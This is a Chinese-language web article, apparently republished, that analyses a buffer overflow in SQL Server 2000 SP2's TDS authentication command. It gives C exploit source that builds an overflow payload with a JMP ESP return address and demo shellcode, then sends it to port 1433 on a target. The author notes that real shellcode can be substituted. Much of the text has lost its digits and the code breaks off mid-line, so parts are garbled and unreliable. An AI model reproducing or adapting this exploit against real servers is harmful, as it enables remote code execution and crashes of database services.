熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> SQL Server >> 正文

SQL SERVER 2000 SP2 12命令的溢出攻擊實現

2013-11-15 14:41:16  來源: SQL Server 

  這幾天開始用匯編看sql server的代碼發現SQL SERVER的 TDS協議中X號命令(請求驗證)存在一個溢出問題在傳送最後的MSSQLSERVER後面跟上個以上的字節會導致溢出心裡一喜但吸取上次教訓一查發現這個漏洞已經被公告
  但是一看公告代碼只指出溢出但是未實現溢出仔細一看要實現這個溢出還是很麻煩的涉及到很多問題
  
  下面是匯編代碼分析
  前面接受信息的大致流程
  請求
  text:DE call sub_E
  text:ED call dword ptr [eax+h]
  調用ssnetlib的獲取異步socket到來的信息
  CFF:連接並接收信息
  text:ED add esp h
  
  處理數據
  cfe處調用下個返回地址應該是cfa溢出就是要覆蓋這個返回地址
  溢出產生在:cfcf處的strcpy上
  但是其中問題存在於strcpy拷貝的地址離cfa的地址有個字節其中存在很多其他變量的指針如果隨便覆蓋掉的話在這個子過程中會繼續引用他們那麼就引起訪問違例直接被異常給捕獲了而無法達到執行代碼的目的而其其過程是一個循環執行過程會導致很復雜的計算
  涉及到的需要繼續引用覆蓋地址值的代碼有
  text:CFD mov edx [ebp+var_]
  text:CFDC add edx
  text:CFDF mov [ebp+var_] edx
  text:CF mov edx [ebp+arg_]
  text:CF add edx [ebp+var_]
  text:CF xor eax eax
  text:CFB mov al [edx]
  text:CFD mov [ebp+var_] eax
  text:CF mov ecx [ebp+arg_]
  text:CF mov [ebp+var_] ecx
  text:CF mov edx [ebp+arg_]
  text:CF mov eax [ebp+var_]
  text:CFF mov ecx [eax]
  
  可以發現以上值主要是涉及到
  要覆蓋地址
  要覆蓋地址+
  要覆蓋地址+
  要覆蓋地址+C
  要覆蓋地址+
  要覆蓋地址+
  這幾個地址上而且主要是寫操作
  並且要覆蓋地址會和要覆蓋地址+會進行一次加操作其操作的地址范圍也應該為可讀寫
  因此很容易想到用SQL SERVER固定分配的某個數據區的地址取帶該區就不會引起異常了而要覆蓋地址最好為xffffffff左右的值其他地址加上這個值也在一個數據區范圍以內問題就不大要覆蓋地址+要覆蓋地址+要覆蓋地址+C要覆蓋地址+要覆蓋地址+的值要仔細選取因為JMP ESP跳回來以後正好在從要覆蓋地址+處開始執行需要其匯編代碼不能引起異常和跳轉到其他地方去否則就無法執行我們真正能實現的shellcode了
  另外就是如果shellcode全部放在要覆蓋地址+後執行也有問題其中可能在同一個過程中會用到其中的值因此把shellcode最好放在前面在覆蓋地址+後用少量的代碼跳轉回去避免大量覆蓋引起異常
  另外就是jmp esp代碼的選擇其實不同服務器版本地址不同但是我想在SQL SERVER代碼本身中找更好只要存在一個ffe數字就可不管是不是真的jmp esp代碼這樣shellcode可以更簡單也更通用一些仔細一看sql server中還真有這個組合位置在BCDC處OK那麼主要問題就搞定了
  我的環境是sql server +sp+最新的補掉sql server udp漏洞的q幾幾的
  下面是演示代碼其中沒有實現真正的shellcode而是實現了打印了一行sql hack demo並且當掉了SQL SERVER服務器其實只要把其中代碼置換成shellcode就可以了當然需要考慮大小問題如果放在後面可以不考慮大小但是可能會引起一些異常我沒仔細調試放在前面許可的長度大概有多字節左右做SHELLCODE也應該足夠了
  大家在cmd下運行sqlsvrer可以看到打印出的sql hack demo字符並且SQL 當掉如果是服務或管理工具啟動則無法打印sql hack demo但SQL會當掉注意此處當掉不是因為異常而是執行了shellcode的exit導致的
  #include
  #include
  #include
  #include
  #include
  #include
  
  int main(int argc char* argv[])
  {
  WSADATA WSAData;
  SOCKET sock;
  SOCKADDR_IN addr_in;
  unsigned char buf[+]={
  xxxxb
  xcxcxxff
  xxdxxxxcxxxxxxx};
  
  unsigned char buf[]={};
  char exploit_code[]= \x\xc\x\xb\xc\x\xff\x\xf\xe\xcf\x
  \x\xc\x\xff\x\x\xe\xcf\x;
  //這個是打印sql hack demo並退出sql server的shellcode代碼
  int i;
  int len;
  const int SNDBUF = ;
  const int TCPNODELAY = TRUE;
  const int BROADCAST = TRUE;
  int fo=; //需要覆蓋的返回地址偏移處
  if (argc<2)
  {
  return FALSE;
  }
  for(i=0x34;i<584;i++)
  buf0[i]=0x90;
  //示范打印的字符串
  buf0[0x34+0x10]=''s'';
  buf0[0x34+0x11]=''q'';
  buf0[0x34+0x12]=''l'';
  buf0[0x34+0x13]='' '';
  buf0[0x34+0x14]=''h'';
  buf0[0x34+0x15]=''a'';
  buf0[0x34+0x16]=''c'';
  buf0[0x34+0x17]=''k'';
  buf0[0x34+0x18]='' '';
  buf0[0x34+0x19]=''d'';
  buf0[0x34+0x1a]=''e'';
  buf0[0x34+0x1b]=''m'';
  buf0[0x34+0x1c]=''o'';
  buf0[0x34+0x1d]=''\n'';
  
  //防止數據改動引起異常而退出而無法實現有效溢出,因此進行有效修改
  buf0[fo-0x8]=0xff;
  buf0[fo-0x7]=0xff;
  buf0[fo-0x6]=0xff;
  buf0[fo-0x5]=0xff;
  //42D01CFC 為SQL SERVER固定的數據區域,且其匯編代碼不引起問題
  buf0[fo+4]=0xfc;
  buf0[fo+5]=0x1c;
  buf0[fo+6]=0xd0;
  buf0[fo+7]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+8]=0x64;
  buf0[fo+9]=0x0d;
  buf0[fo+0xa]=0xd0;
  buf0[fo+0xb]=0x42;
  //42D01CFC 為固定的數據區域才能可寫
  buf0[fo+0xc]=0xfc;
  buf0[fo+0xd]=0x1c;
  buf0[fo+0xe]=0xd0;
  buf0[fo+0xf]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+0x10]=0x64;
  buf0[fo+0x11]=0x0d;
  buf0[fo+0x12]=0xd0;
  buf0[fo+0x13]=0x42;
  //42d01c72 為固定的數據區域才能可寫
  buf0[fo+0x14]=0x64;
  buf0[fo+0x15]=0x0d;
  buf0[fo+0x16]=0xd0;
  buf0[fo+0x17]=0x42;
  //在溢出了返回地址後,由於其中的N個代碼需要返回後跳轉、而此處由在子函數中需要處理,因此尋找一個數據地址放入,同時使得其匯編代碼不引起訪問異常。TW.WinGwiT.Com
  
  //然後下面的幾個地址是在此過程中不需要使用的,因此可以大膽修改成我們需要的匯編代碼了
  //寫入跳回去的代碼buf0[fo+0xc]=0x42;
  buf0[fo+0x18]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x19]=0x83;
  buf0[fo+0x1a]=0xc4;
  buf0[fo+0x1b]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1C]=0x83;
  buf0[fo+0x1D]=0xc4;
  buf0[fo+0x1E]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1f]=0x83;
  buf0[fo+0x20]=0xc4;
  buf0[fo+0x21]=0x81;
  //JMP ESP
  buf0[fo+0x22]=0xff;
  buf0[fo+0x23]=0xe4;
  //以上代碼在溢出返回後執行,由於主要的shellcode防在前面,需要跳轉回去
  //不直接放在後面的原因在於:覆蓋了後面的一些變量,會導致提前出現地址訪問異常,導致無法達到執行我們想要代碼的目的
  
  memcpy(buf0+fo-8-364,exploit_code,21);
  //拷貝SHELLCODE
  
  //FFE4=JMP ESP
  //設置溢出地址的值,42B0C9DC是SQL SERVER本身代碼有的FFE4地方
  buf0[fo]=0xDC;
  buf0[fo+1]=0xC9;
  buf0[fo+2]=0xB0;
  buf0[fo+3]=0x42;
  //需要找到JMP ESP的代碼,然而這個是隨版本變化的,所以干脆在SQL SERVER程序中找,只要組合成這個就可
  
  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  {
  printf("WSAStartup error.Error:%d\n",WSAGetLastError());
  return FALSE;
  }
  if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  {
  printf("Socket failed.Error:%d\n",WSAGetLastError());
  return FALSE;
  }
  
  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(1433);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  buf0[1]=1;
  if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return FALSE;
  }
  if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
  {
  printf("Send failed.Error:%d\n",WSAGetLastError());
  return FALSE;
  }
  
  len=recv(so
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22176.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.